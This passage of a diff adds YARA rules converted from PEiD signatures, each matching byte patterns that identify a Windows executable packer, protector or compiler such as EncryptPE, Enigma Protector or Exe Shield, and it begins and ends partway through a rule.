+        description = "[Encrypted by? RSCC/286 v1.01]"
+        ep_only = "false"
+    strings:
+        $a = {FE 52 53 43 43 2F 31 2E 30 31 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00522_Encrypted_by__RSCC_286_v1_02_
+{
+    meta:
+        description = "[Encrypted by? RSCC/286 v1.02]"
+        ep_only = "false"
+    strings:
+        $a = {FE 52 53 43 43 2F 31 2E 30 32 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00523_EncryptPE_1_2003_5_18____WFS_
+{
+    meta:
+        description = "[EncryptPE 1.2003.5.18 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79}
+    condition:
+        $a
+}
+
+rule PEiD_00524_EncryptPE_2_2004_8_10___2_2005_3_14____WFS_
+{
+    meta:
+        description = "[EncryptPE 2.2004.8.10 - 2.2005.3.14 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 7A}
+    condition:
+        $a
+}
+
+rule PEiD_00525_EncryptPE_V1_2003_3_18_V1_2003_5_18____WFS_
+{
+    meta:
+        description = "[EncryptPE V1.2003.3.18-V1.2003.5.18 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00526_EncryptPE_V2_2004_6_16_V2_2006_6_30____WFS___Sign_by_fly_
+{
+    meta:
+        description = "[EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00527_EncryptPE_V2_2004_6_16_V2_2006_6_30____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00528_EncryptPE_V2_2006_1_15____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.1.15 -> WFS]"
+        ep_only = "false"
+    strings:
+        $a = {45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35}
+    condition:
+        $a
+}
+
+rule PEiD_00529_EncryptPE_V2_2006_7_10____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.7.10 -> WFS]"
+        ep_only = "false"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00530_EncryptPE_V2_2006_7_10_V2_2007_04_11____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.7.10-V2.2007.04.11 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00531_Enigma_protector_1_10__unregistered__
+{
+    meta:
+        description = "[Enigma protector 1.10 (unregistered)]"
+        ep_only = "false"
+    strings:
+        $a = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89}
+    condition:
+        $a
+}
+
+rule PEiD_00532_Enigma_protector_1_10__unregistered__
+{
+    meta:
+        description = "[Enigma protector 1.10 (unregistered)]"
+        ep_only = "false"
+    strings:
+        $a = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 E9 51 0B C4 80 BC 7E 35 09 37 E7 C9 3D C9 45 C9 4D 74 92 BA E4 E9 24 6B DF 3E 0E 38 0C 49 10 27 80 51 A1 8E 3A A3 C8 AE 3B 1C 35}
+    condition:
+        $a
+}
+
+rule PEiD_00533_Enigma_Protector_1_1X_1_3X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.1X-1.3X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9}
+    condition:
+        $a
+}
+
+rule PEiD_00534_Enigma_Protector_1_X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61}
+    condition:
+        $a
+}
+
+rule PEiD_00535_Enigma_Protector_1_X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00536_ENIGMA_Protector_V1_1____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1 -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+    condition:
+        $a
+}
+
+rule PEiD_00537_ENIGMA_Protector_V1_1_CracKed_By__shoooo___fly____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1 CracKed By: shoooo & fly -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 C5 FA 81}
+    condition:
+        $a
+}
+
+rule PEiD_00538_ENIGMA_Protector_V1_1_V1_2____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1-V1.2 -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ED 06 81}
+    condition:
+        $a
+}
+
+rule PEiD_00539_ENIGMA_Protector_V1_X____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.X -> Sukhov Vladimir]"
+        ep_only = "false"
+    strings:
+        $a = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+    condition:
+        $a
+}
+
+rule PEiD_00540_EP_1_0_
+{
+    meta:
+        description = "[EP 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1}
+    condition:
+        $a
+}
+
+rule PEiD_00541_EP_v1_0_
+{
+    meta:
+        description = "[EP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 C0 30 ?? 68 ?? ?? F3 00 C3 AA}
+    condition:
+        $a
+}
+
+rule PEiD_00542_EP_v2_0_
+{
+    meta:
+        description = "[EP v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 60 E9 01 01}
+    condition:
+        $a
+}
+
+rule PEiD_00543_EPW_v1_2_
+{
+    meta:
+        description = "[EPW v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00544_EPW_v1_30_
+{
+    meta:
+        description = "[EPW v1.30]"
+        ep_only = "true"
+    strings:
+        $a = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00545_Erdas_LAN_GIS_Image_graphics_format_
+{
+    meta:
+        description = "[Erdas LAN/GIS Image graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {48 45 41 44 37 34 00 00 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_00546_Escargot_0_1__final_______Meat_
+{
+    meta:
+        description = "[Escargot 0.1 (final) -> ++Meat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 40 30 2E 31 60 68 61 ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 92 ?? ?? ?? 8B 00 FF D0 50 B8 CD ?? ?? ?? 81 38 DE C0 37 13 75 2D 68 C9 ?? ?? ?? 6A 40 68 00 ?? 00 00 68 00 00 ?? ?? B8 96 ?? ?? ?? 8B 00 FF D0 8B 44 24 F0 8B 4C 24 F4 EB 05 49 C6 04 01 40 0B C9 75 F7 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50}
+    condition:
+        $a
+}
+
+rule PEiD_00547_Escargot_0_1___by_ueMeat_
+{
+    meta:
+        description = "[Escargot 0.1 - by ueMeat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00548_Escargot_0_1___by_ueMeat_
+{
+    meta:
+        description = "[Escargot 0.1 - by ueMeat]"
+        ep_only = "false"
+    strings:
+        $a = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 B8 54 ?? ?? ?? 8B 00 FF D0 5F 80 3F 00 74 06 C6 07 00 47 EB F5 33 FF 8B 16 0B D2 75 03 8B 56 10 03 D3 03 D7 8B 0A C7 02 00 00 00 00 0B C9 74 4B F7 C1 00 00 00 80 74 14 81 E1 FF FF 00 00 50 51 50 B8 50}
+    condition:
+        $a
+}
+
+rule PEiD_00549_Escargot_V0_1______Meat_
+{
+    meta:
+        description = "[Escargot V0.1 -> ++Meat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 40 30 2E 31 60 68 61}
+    condition:
+        $a
+}
+
+rule PEiD_00550_Exact_Audio_Copy_____UnknownCompiler__
+{
+    meta:
+        description = "[Exact Audio Copy -> (UnknownCompiler)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00551_Exact_Audio_Copy_
+{
+    meta:
+        description = "[Exact Audio Copy]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00552_Excalibur_1_03____forgot_
+{
+    meta:
+        description = "[Excalibur 1.03 -> forgot]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00553_Excalibur_V1_03____forgot___Sign_by_fly_
+{
+    meta:
+        description = "[Excalibur V1.03 -> forgot ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39}
+    condition:
+        $a
+}
+
+rule PEiD_00554_eXcalibur_v1_03____forgot_us__h__
+{
+    meta:
+        description = "[eXcalibur v1.03 -> forgot/us (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20}
+    condition:
+        $a
+}
+
+rule PEiD_00555_eXcalibur_v1_03____forgot_us__h__
+{
+    meta:
+        description = "[eXcalibur v1.03 -> forgot/us (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 60 9C 9C 6A 63 73 0B EB 02 E8 E8 E8 06 00 00 00 E8 E8 73 F7 E8 E8 83 C4 04 EB 02 E8 E8 FF 0C 24 71 01 E8 79 E0 7A 01 E8 83 C4 04 9D EB 01 E8 E8 01 00 00 00 E9 5D 81 ED AE 28 40 00 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 E7 02 00 00 E8 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 B4 02 00 00 E8 60 E8}
+    condition:
+        $a
+}
+rule PEiD_00556_Exe_Guarder_1_8____Exeicon_com__h__
+{
+    meta:
+        description = "[Exe Guarder 1.8 -> Exeicon.com (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+    condition:
+        $a
+}
+
+rule PEiD_00557_Exe_Guarder_v1_8____Exeicon_com__h__
+{
+    meta:
+        description = "[Exe Guarder v1.8 -> Exeicon.com (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73 75 1C 8B D0 03 D2 03 55 F0 0F B7 12 C1 E2 02 03 55 EC 8B 12 03 16 8B 4D F4 89 51 08 EB 04 40 49 75 A9 8B 5D F4 8D 83 A1 00 00 00 50 8B 06 50 FF 53 08 89 43 0C 8D 83 AE 00 00 00 50 8B 06 50 FF 53 08 89 43 10 8D 83 BA 00 00 00 50 8B 06 50 FF 53 08 89 43 14 8D 83 C6 00 00 00 50 8B 06 50 FF 53 08 89 43 18 8D 83 D7 00 00 00 50 8B 06 50 FF 53 08 89 43 1C 8D 83 E0 00 00 00 50 8B 06 50 FF 53 08}
+    condition:
+        $a
+}
+
+rule PEiD_00558_EXE_joiner____Amok_
+{
+    meta:
+        description = "[EXE joiner -> Amok]"
+        ep_only = "true"
+    strings:
+        $a = {A1 14 A1 40 00 C1 E0 02 A3 18 A1 40}
+    condition:
+        $a
+}
+
+rule PEiD_00559_Exe_Locker_1_0____IonIce_
+{
+    meta:
+        description = "[Exe Locker 1.0 -> IonIce]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00560_Exe_Locker_v1_0____IonIce_
+{
+    meta:
+        description = "[Exe Locker v1.0 -> IonIce]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00561_EXE_Manager_Version_3_0_1994__c__Solar_Designer_
+{
+    meta:
+        description = "[EXE Manager Version 3.0 1994 (c) Solar Designer]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2}
+    condition:
+        $a
+}
+
+rule PEiD_00562_EXE_Packer_v7_0_by_TurboPower_Software_
+{
+    meta:
+        description = "[EXE Packer v7.0 by TurboPower Software]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE}
+    condition:
+        $a
+}
+
+rule PEiD_00563_EXE_Shield_0_5____Smoke_
+{
+    meta:
+        description = "[EXE Shield 0.5 -> Smoke]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+    condition:
+        $a
+}
+
+rule PEiD_00564_Exe_Shield_2_7b_
+{
+    meta:
+        description = "[Exe Shield 2.7b]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+    condition:
+        $a
+}
+
+rule PEiD_00565_EXE_Shield_v0_1b___v0_3b__v0_3____SMoKE_
+{
+    meta:
+        description = "[EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05}
+    condition:
+        $a
+}
+
+rule PEiD_00566_EXE_Shield_V0_5____Smoke_
+{
+    meta:
+        description = "[EXE Shield V0.5 -> Smoke]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+    condition:
+        $a
+}
+
+rule PEiD_00567_EXE_Shield_V0_6____SMoKE_
+{
+    meta:
+        description = "[EXE Shield V0.6 -> SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+    condition:
+        $a
+}
+
+rule PEiD_00568_EXE_Shield_V0_6____SMoKE_
+{
+    meta:
+        description = "[EXE Shield V0.6 -> SMoKE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+    condition:
+        $a
+}
+
+rule PEiD_00569_Exe_Shield_v1_7_
+{
+    meta:
+        description = "[Exe Shield v1.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+    condition:
+        $a
+}
+
+rule PEiD_00570_Exe_Shield_v2_7_
+{
+    meta:
+        description = "[Exe Shield v2.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00571_Exe_Shield_v2_7b_
+{
+    meta:
+        description = "[Exe Shield v2.7b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 00 03 9D E6 90 40 00 53 8B C3 8B FB 2D AC 90 40 00 89 85 AD 90 40 00 8D B5 AC 90 40 00 B9 40 04 00 00 F3 A5 8B FB C3 BD 00 00 00 00 8B F7 83 C6 54 81 C7 FF 10 00 00 56 57 57 56 FF 95 DA 90 40 00 8B C8 5E 5F 8B C1 C1 F9 02 F3 A5 03 C8 83 E1 03 F3 A4 EB 26 D0 12 5B 00 AC 12 5B 00 48 12 5B 00 00 00 40 00 00 D0 5A 00 00 10 5B 00 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 8B 0E B5 E6 90 40 07 56 03 76 EE 0F 18 83 C6 14 12 35 97 80 8D BD 63 39 0D B9 06 86 02 07 F3 A5 6A 04 68 06 10 12 1B FF B5 51 29 EE 10 22 95}
+    condition:
+        $a
+}
+
+rule PEiD_00572_Exe_Shield_v2_9_
+{
+    meta:
+        description = "[Exe Shield v2.9]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+    condition:
+        $a
+}
+
+rule PEiD_00573_Exe_Shield_vx_x_
+{
+    meta:
+        description = "[Exe Shield vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00}
+    condition:
+        $a
+}
+
+rule PEiD_00574_EXE_Stealth_2_5_
+{
+    meta:
+        description = "[EXE Stealth 2.5]"
+        ep_only = "false"
+    strings:
+        $a = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00575_EXE_Stealth_2_73_
+{
+    meta:
+        description = "[EXE Stealth 2.73]"
+        ep_only = "false"
+    strings:
+        $a = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+    condition:
+        $a
+}
+
+rule PEiD_00576_EXE_Stealth_2_74_
+{
+    meta:
+        description = "[EXE Stealth 2.74]"
+        ep_only = "false"
+    strings:
+        $a = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+    condition:
+        $a
+}
+
+rule PEiD_00577_Exe_Stealth_2_75a____WebtoolMaster_
+{
+    meta:
+        description = "[Exe Stealth 2.75a -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72}
+    condition:
+        $a
+}
+
+rule PEiD_00578_Exe_Stealth_2_75a____WebtoolMaster_
+{
+    meta:
+        description = "[Exe Stealth 2.75a -> WebtoolMaster]"
+        ep_only = "true"
